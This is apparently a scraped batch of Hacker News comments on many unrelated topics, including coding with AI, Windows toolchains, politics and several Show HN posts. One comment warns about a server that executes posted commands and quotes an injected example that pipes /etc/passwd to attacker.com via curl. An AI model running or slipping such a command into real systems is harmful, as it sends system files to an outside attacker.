MurphyA/hacker-news huggingface dataset:
by TeMPOraL | 2026-01-26 23:13:33+00:00
> I've long thought that every restaurant/bakery/etc could publish their full internal cookbooks and not see a drop in sales.

Makes me think of all those stories[0] employing a "secret recipe" plot. Some baking/cooking recipe (or a whole cookbook), written down by grandma and passed down in the family, or such, is critical to the fate of a bakery/restaurant/Thanksgiving dinner/etc.; predictably, it gets stolen, and suddenly the meal everyone loves cannot be made anymore.

It's a dumb idea if you think about it for more than a second - even the worst home cook will naturally memorize all the ingredients and steps after using the recipe more than couple times. If the process involves more than one person, there's bound to be copies and derivative documents (e.g. shopping lists) around, too. Recipes are good checklists and are particularly helpful when onboarding new cooks, but losing an actively used one isn't a big deal - it can be recreated on the spot by those who already know it by heart.

--

[0] - One I've watched recently was Hoodwinked! - https://en.wikipedia.org/wiki/Hoodwinked!. Great movie, but out of all the absurdities in it, by far the biggest one was the whole "stealing recipes to put bakeries out of business" plot driver.
by stavros | 2026-01-26 23:13:51+00:00
I've never succeeded on getting a refund with Google. There were a few apps that tricked me into buying a subscription (namely Musescore and Yazio), I immediately asked Google for a refund because I didn't actually get what I thought I was getting, and they denied me both times.

Now I just don't buy anything on the Play store that I can't afford to just be outright scammed on.
by advisedwang | 2026-01-26 23:13:51+00:00
ADEA says:

> It shall be unlawful for an employment agency to fail or refuse to refer for employment, or other­wise to discriminate against, any individual because of such individual's age, or to classify or refer for employment any individual on the basis of such individual's age.

I don't see any wiggle room for outsourced decision making to remove the responsibility for the outcome.
by woodpanel | 2026-01-26 23:14:03+00:00
> You don't want to fine, jail or otherwise ruin the lives of thousands of kids to get them to stop.

Oh yes, you want to (with an asterisk). As a former Graffiti writer myself I can speak from experience that the judge will be the first person in those kids life taking their actions seriously, giving them any sort of guidance.

Better spend a couple of hours per month doing social work than letting them slip further away until no softer juvenile criminal code is there to protect them.
by logicprog | 2026-01-26 23:14:05+00:00
Yeah, I feel like I get really good results from AI, and this is very much how I prompt as well. It just takes care of writing the code, making sure to update everything that is touched by that code guided by linters and type-checkers, but it's always executing my architecture and algorithm, and I spend time carefully trying to understand the problem before I even begin.
by AshamedCaptain | 2026-01-26 23:14:30+00:00
> If you use only features available on the older version, for sure, you can compile your software in Win-7 and have it run in Win-2000. Without following any special procedure.

No, you can't. When you use 7-era toolchain (e.g. VS 2012) it sets the minimum client version in PE header to Vista, not XP much less 2k.

If you use VC++6 in 7, then yes, you can; but that's not really that different from me using a Debian Etch chroot to build.

Even within XP era this happens, since there are VS versions that target XP _SP2_ and produce binaries that are not compatible with XP _SP1_. That's the "DecodePointer" debacle I was mentioning. _Even_ if you do not use any "SP2" feature (as few as they are), the runtime (the statically linked part; not MSVCRT) is going to call DecodePointer, so even the smallest hello world will catastrophically fail in older win32 version.

Just Google around for hundreds of confused developers.

> Except that the older glibc is unmaintained and very hard to get a hold of and use.

"unmaintained" is another way of saying "frozen" or "security updates only" I guess. But ... hard to get a hold of ? You are literally running it on your the "security updates only" server that you wanted to target in the first place!
by kevin42 | 2026-01-26 23:14:32+00:00
I’m genuinely curious how you feel about LLMs being trained on pirated material. Not being snarky here.

Your comment reflects the old “information wants to be free” ideals that used to dominate places like HN, Slashdot, and Reddit. But since LLMs arrived, a lot of the loudest voices here argue the opposite position when it comes to training data.

I’ve been trying to understand whether people have actually changed their views, or whether it’s mostly a shift in who is speaking up now.
by tlb | 2026-01-26 23:14:33+00:00
Deleting data according to a pre-defined schedule (often 90 days) is legitimate and standard. It's good that agencies do this, to limit exposure due to data breaches. And it's normal for courts to issue a preservation order for specific data relevant to a potential case.

It'd be better if the courts could actually deal with the case now instead of in 1-5 years, but alas.
by chemeng | 2026-01-26 23:14:52+00:00
Yes, the mechanism is effectively EAR/FDPR and you can check (https://en.wikipedia.org/wiki/Extreme_ultraviolet_lithograph...) for more detailed history, but the EUV technology ASML further developed and commercialized (no small feat) was licensed from a US Govt created consortium by which the government maintains their IP rights.
by atombender | 2026-01-26 23:15:32+00:00
I think my point flew past you: If I can make a 99% clone of Coke in my kitchen, any professional flavoring pro will do it 100%. The supposed secret recipe isn't why Coke is still around, it's the brand.

And by fresh I do mean: The OpenCola is full of natural essential oils (orange, neroli, cinnamon, lime, lavender, lemon, nutmeg), and real natural flavor oils have a certain potent freshness you don't get in a mass-produced product.
by Sheeny96 | 2026-01-26 23:15:46+00:00
The problem with this is the reason LLMs are so good at writing Python/Java/JavaScript is that they've been trained on a metric ton of code in those languages, have seen the good the bad and the ugly and been tuned to the good. A new language would be training from scratch and if we're introducing new paradigms that are 'good for LLMs but bad for humans' means humans will struggle to write good code in it, making the training process harder. Even worse, say you get a year and 500 features into that repo and the LLM starts going rogue - who's gonna debug that?
by storystarling | 2026-01-26 23:15:48+00:00
I suspect Kagi is running a multi-step agentic loop there, maybe something like a LangGraph implementation that iterates on the context. That burns a lot of inference tokens and adds latency, which works for a paid subscription but probably destroys the unit economics for Google's free tier. They are likely restricted to single-pass RAG at that scale.
by saaaaaam | 2026-01-26 23:15:54+00:00
> Model performance has also been shown to be better if you lead with the question. That is, prompt "Given the following contract, review how enforceable and legal each of the terms are in the state of California. <contract>", not "<contract> How enforceable...".

Confused here. You attach the contract. So it’s not a case of leading with the question. The contract is presented in the chat, you ask the question.
by Mixtape | 2026-01-26 23:15:56+00:00
In no particular order: 404 Media, Ars Technica, BleepingComputer, The Register, The Verge, and Tomshardware.

These usually sit in the corner of my screen through the day. Some are better than others for work purposes. The Verge could probably go, and 404 is a bit more socially-focused than the rest. In particular though, having rapid updates from BleepingComputer and El Reg is a great way for me to learn about new vulns, issues that might affect my users, etc.
by aucisson_masque | 2026-01-26 23:16:31+00:00
Americans elected trump not just one time. They did it twice.

They all knew who he was by the end of the first mandate yet they still elected him again.

Why wouldn’t they find another « trump like » when trump goes away ? Vance or someone else, the list is long.

I see no reason for things to change and that’s if the USA doesn’t become an autocracy in the meantime. Trump already did so much in a year, that’s fascinating. He just need to boil the frog a bit longer but everything is in place.
by ryandrake | 2026-01-26 23:16:49+00:00
"Chemical" is just a really, really vague and poor word choice. I honestly don't understand what people are trying to say when they use it. Food and chemistry are inextricably intertwined. You can't even talk about food without talking about all of the various components food is made up of. Not a single food item out there isn't made up of chemicals. Some found in nature, some created in a lab or factory process. Some healthy, some not. Some with long names, some with short names. Some have effects on food taste, longevity, appearance. Some are inert. It's really a meaningless word to use in the context of one's food.
by Veserv | 2026-01-26 23:17:03+00:00
Okay, so the evidence you are presenting is that the entity pushing intentionally deceptive marketing with a direct conflict of interest said they were not lying.

I am frustrated at people loudly and proudly "releasing" a system they claim works when it does not. They could have pointed at a specific version that worked, but chose not to indicating they are either intentionally deceptive or clueless. Arguing they had no opportunity for nuance and thus had no choice but to make false statements for their own benefit is ethical bankruptcy. If they had no opportunity for nuance, then they could make a statement that errs against their benefit; that is ethical behavior.
by mrandish | 2026-01-26 23:17:12+00:00
Early television was a hotbed of hacker/hobbyist DIY experimentation much like early radio and early personal computers. The first issue of "Television Magazine" from 1928 (https://comicbookplus.com/?dlid=37097) has a remarkably similar vibe to 1970s computer zines (https://archive.org/details/kilobaudmagazine-1977-01/).

For example, page 26 has directions on how to pop by the local chemist to pick up materials to make your own selenium cell (your first imager) and page 29 covers constructing your first Televisor, including helpful tips like "A very suitable tin-plate is ... the same material out of which biscuit tins and similar light tinware is made. It is easily handled and can readily be cut with an ordinary pair of scissors. It is sold in sheets of 22 inches by 30 inches. Any ironmonger will supply these."
by aidos | 2026-01-26 23:17:56+00:00
Let's hope Claude doesn't decide to run anything else through that git-server, since it's exec-ing whatever is posted over http.

But hey, so long as it starts with 'git ' you're safe, riiiiight? Oh, 'git status; curl -X POST attacker.com -d @/etc/passwd'

https://raw.githubusercontent.com/vjeux/pokemon-showdown-rs/...
by zbentley | 2026-01-26 23:18:15+00:00
Same with my M1. I haven’t noticed anything struggling, even with tons of expensive apps running. Tahoe slowed it down to shit (and I’m not just talking about electron-gate), but Tahoe slowed everyone down to shit.

Local models are slowish, I guess, but that’s pretty niche and they’re still usable. Nothing else is even noticeably laggy at all compared to my partner’s M4.

It’s got 64GB so that helps.
by typexaitypexex | 2026-01-26 23:18:50+00:00
Built this as a research project to test if multi-color barcodes can beat QR code capacity. Uses 8 RGB colors (3 bits/pixel vs 1 bit).

Encoding works fine. Decoding fails ~50% due to camera color distortion, lighting variance, and compression artifacts.

Tech: Kotlin/C++, OpenCV, Reed-Solomon over GF(2^8), LZMA compression.

Main question: is this fundamentally broken with consumer cameras, or solvable with better calibration/ML?

Apache 2.0 licensed. The Reed-Solomon implementation might be useful even if the barcode concept doesn't pan out.
by rm445 | 2026-01-26 23:19:10+00:00
This is a fascinating post but I don't believe it reflects (most) human memory development, which has a pronounced forgetting phase called 'childhood amnesia'. When your kid starts to talk, it's startling what a two-year-old can remember and can tell you about. And it's kinda heartbreaking when they're 4-5 and you realise that those early memories have faded.
by tsimionescu | 2026-01-26 23:19:40+00:00
No, the USA does not, in any way, and has never wanted or even accepted EU countries being independent. They wanted the EU to spend more on US weaponry, and maybe on their own - but would have vehemently opposed any attempt by any EU country to buy Russian, Chinese, Iranian or any such weaponry. They want the EU to stop regulating American companies, but they certainly don't want EU companies being too successful in the USA. They certainly wouldn't allow EU tech companies access to the US defense market, while of course insisting that the EU and other NATO members buy US built weaponry.
by logicprog | 2026-01-26 23:19:47+00:00
> I actually don't like _writing_ code, but enjoy reading it.

I think this is one of the divides between people who like AI and people who don't. I don't mind writing code per se, but I really don't like text editing — and I've used Vim (Evil mode) and then Emacs (vanilla keybindings) for years, so it's not like I'm using bad tools; it's just too fiddly. I don't like moving text around; munging control structures from one shape to another; I don't like the busy work of copying and pasting code that isn't worth DRYing, or isn't capable of being DRY'd effectively; I hate going around and fixing all the little compiler and linter errors produced by a refactor manually; and I really hate the process of filling out the skeleton of an type/class/whatever architecture in a new file before getting to the meat.

However, reading code is pretty easy for me, and I'm very good at quickly putting algorithms and architectures I have in my head into words — and, to be honest, I often find this clarifies the high level idea more than writing the code for it, because I don't get lost in the forest — and I also really enjoy taking something that isn't quite good enough, that's maybe 80% of the way there, and doing the careful polishing and refactoring necessary to get it to 100%.
by hn_acker | 2026-01-26 23:19:51+00:00
An allegience bill introduced by Bernie Moreno, huh. In my opinion, any federal government official who denies the 2020 election has violated their allegiance to the United States. As early as 2021 [1]:

> After the 2020 presidential election, Moreno criticized those denying the results of the election, but in 2021 expressed his belief that the election had been "stolen".

And as late as 2024 [2]:

> In paid advertising before the primary, Moreno had embraced Trump’s lies about the 2020 election he lost to Democrat Joe Biden.

> “President Trump says the election was stolen and he’s right,” Moreno said in one digital ad.

[1] https://en.wikipedia.org/wiki/Bernie_Moreno#Political_positi...

[2] https://apnews.com/article/republicans-ohio-moreno-trump-she...
Show HN: Strata AI-powered ops platform
by lavandar-admin | 2026-01-26 23:19:53+00:00
I built STRATA as a living whitepaper for premium timepieces that display real-time weather data for any location. Each dial renders live conditions (temperature, humidity, wind) with historical overlays.

Tech stack: React 18, Supabase, Gemini AI, Stripe subscriptions.
Built entirely in Lovable (AI-powered dev environment). Would love feedback on the UX and the "explain without explaining" content approach.
by Quarrelsome | 2026-01-26 23:20:05+00:00
> Naming comments can be very useful in code that gets read by a lot of people. It can make the process of understanding the code much quicker.

yes but it can be severely diminishing returns. Like lets step back a second and ask ourselves if:

var itemCount = items.Count;

vs

var numberOfItems = items.Count;

is ever worth spending the time discussing, versus how much of a soft improvement it makes to the code base. I've literally been in a meeting room with three other senior engineers killing 30 minutes discussing this and I just think that's a complete waste of time. They're not wrong, the latter is clearer, but if you have a PR that improves the repo and you're holding it back because of something like this, then I don't think you have your priorities straight.
by toomuchtodo | 2026-01-26 23:20:39+00:00
Putin will need to die for Russia to change. Change is not possible in Russia until then. A strong EU is required post Russia.

Until then, starve the Russian economy of fossil fuel export revenue (which funds their war efforts). They have liquidated a majority of their gold reserves and have exhausted a majority of their military hardware stockpiles. If we wanted to wrap this up, we’d be bombing their oil and gas export facilities, but it appears we haven’t made it to that milestone yet.

Russia Liquidates 71% of Its Gold Reserves to Finance War Effort - https://news.ycombinator.com/item?id=46738690 - January 2026
by wtcactus | 2026-01-26 23:20:58+00:00
First off, the Soviet Union actually started WWII on the side of Germany. It was only when the Nazis attacked them, that they switched sides. If that's your criteria for "French were allied to the Soviet Union in World War 2" then, by the same logic, the French were also allied to Italy in WWII, since during the last months Italy changed sides. [1]

> only one of those two dictatorships aimed for the physical cleansing of entire groups of people and enslavement of others.

Not sure. Are you talking about Soviets wanting "to physical cleansing" of all bourgeoisie? Or about what the Nazis wanted to do the same to the Jews?

The "Soviet Union heroic effort and resistance", was a meat grinder implemented by Stalin, where he forbade men, women and children to leave Stalingrad and let them to be killed by the millions by war, hunger and cold, to stall the German troops. You act like the "noble Soviets" did this out of their "enormous courage in the fight against fascism", but in fact, they only did it because they had more chances of surviving against the Nazis, than of surviving against their own communist government. [2]

[1] https://en.wikipedia.org/wiki/Molotov%E2%80%93Ribbentrop_Pac...

[2] https://en.wikipedia.org/wiki/Order_No._227
by wassel | 2026-01-26 23:21:31+00:00
They often try, but two things bite in practice:

- Permissions and sandbox limits. Many agents don’t run on a dev’s laptop with admin access They run in the cloud or in locked down sandboxes: no sudo, restricted filesystem, restricted network egress. So “just install it” is sometimes not allowed or not even possible.

- It is a token and time sink and easy to go down the wrong path. Dependency errors are noisy: missing system libs, wrong versions, build toolchain issues, platform quirks. Agents can spend a lot of iterations trying fixes that don’t apply, or that create new mismatches.

Repo ready environments don’t replace agents installing deps. They just reduce how often they have to guess.
by thehacknews | 2026-01-26 23:21:40+00:00
A critical vulnerability in Clawdbot, an AI agent that integrates with messaging platforms like Telegram, Slack, and Signal, has been discovered, leaving sensitive user data exposed to attackers. The flaw stems from a misconfiguration in the Clawdbot Control interface, which allowed unauthenticated external access to critical system functions, including root command execution and data manipulation. This issue highlights the growing security risks associated with AI-powered systems.
by treavorpasan | 2026-01-26 23:22:25+00:00
When you look at something like Pietà by Michelangelo or Lolita by Vladimir Nabokov, you realise that some humans are given abilities that far exceed your own and that you will never reach their level.

When this happens, you need to stop and appreciate the sheer genius of the creator.

This is one of those posts.
by FireBeyond | 2026-01-26 23:22:27+00:00
Maybe his social media profiles at the time (public, because I'm not "friends" with him) shouldn't have included photos and posts about gay cruise ship vacations.

Or perhaps don't do business with people who would happily execute you? All that says to me is Thiel values money over anything else.

The insinuation that Gawker in any way shape or form "outed" him is just laughable.

Gawker is absolutely trash media, to be quite clear.

> and that goes for rich or poor

I do agree about this, for certain things - but in others, no - and indeed, courts have ruled that billionaires are inherently "public figures"... "due to their outsized influence on public affairs and opinion".

I also have significant issues with his bankrolling of Hogan's lawsuit against Gawker as an abomination of the legal system, including the right to face one's "accuser":

- Hogan had already agreed in principle to a part ownership stake and profits of Gawker.

- Lawyers paid for by Thiel pushed for him to drop that and push instead for bankrupting Gawker through damages (which were laughable, see below). (Hypothetical question, if you're an attorney, ostensibly representing Hogan, but you know the person paying your bills, Thiel, wants a different outcome for the case, when push comes to shove, whose interests are you going to represent? See the following point too).

- When the case and awarded damages -did- actually threaten to bankrupt Gawker, Thiel/Hogan's lawyers did the most illogical thing possible, if they were looking to recoup any money for their ostensible client... they dropped the one claim against Gawker that would have allowed their liability insurance to at least partially pay out.

(Re damages: The amount that Hogan had originally asked for seemed reasonable. Then after Thiel's lawyers got involved, the amount asked for was multiplied five thousand times.

This included economic damages of fifty million dollars. For a man who had made something in the order of $10-15M his entire career? Who had a net worth at its peak of $30M, and at the time of the lawsuit of $8M? I highly doubt that TV stations pulling reruns of old WWF events, lost hair commercial and other endorsements was worth that. (They separately asked for emotional damages, too, to be clear. But there was near zero justification for this economic damages claim.)

I wonder how much Thiel paid Hogan under the table for this proxy lawsuit?
by Someone1234 | 2026-01-26 23:22:33+00:00
Windows 95 has some legitimate problem but one thing that was nice is that Microsoft (and Apple) were doing Skeuomorph, so training users to use it was a joy. It was designed to be easy to learn. Today they don't really care how users are trained, and just assume they'll figure it out.

PS - Yes, Skeuomoric concepts age out, like Floppy Disk-Save Icons, but the concept still has merit. It can help "ground" the experience.
Show HN: OptionIncome – auto tracker for option sellers
by yx_wang | 2026-01-26 23:22:38+00:00
We built OptionIncome to track income-focused option selling strategies
(cash-secured puts, covered calls, wheels, spreads) without spreadsheets.

It connects to brokers and tracks strategy-level PnL, with support
for rolling positions and wheel-style trading, so you can see how your option
selling is actually performing.

We built this because spreadsheets don’t scale and existing trading journal
tools don’t handle complex option strategies well.

Happy to answer questions.
by FpUser | 2026-01-26 23:23:11+00:00
No it is not. Canada did not try to do anything resembling Free Trade with China. It is btw prohibited by NAFTA / CUSMA. Canada pursues reasonable targeted deals like every normal country should. Trump is just getting hysterical because some country does not want to suck his dick. He should learn to be civil when dealing with neighbors, well it might be too late for that.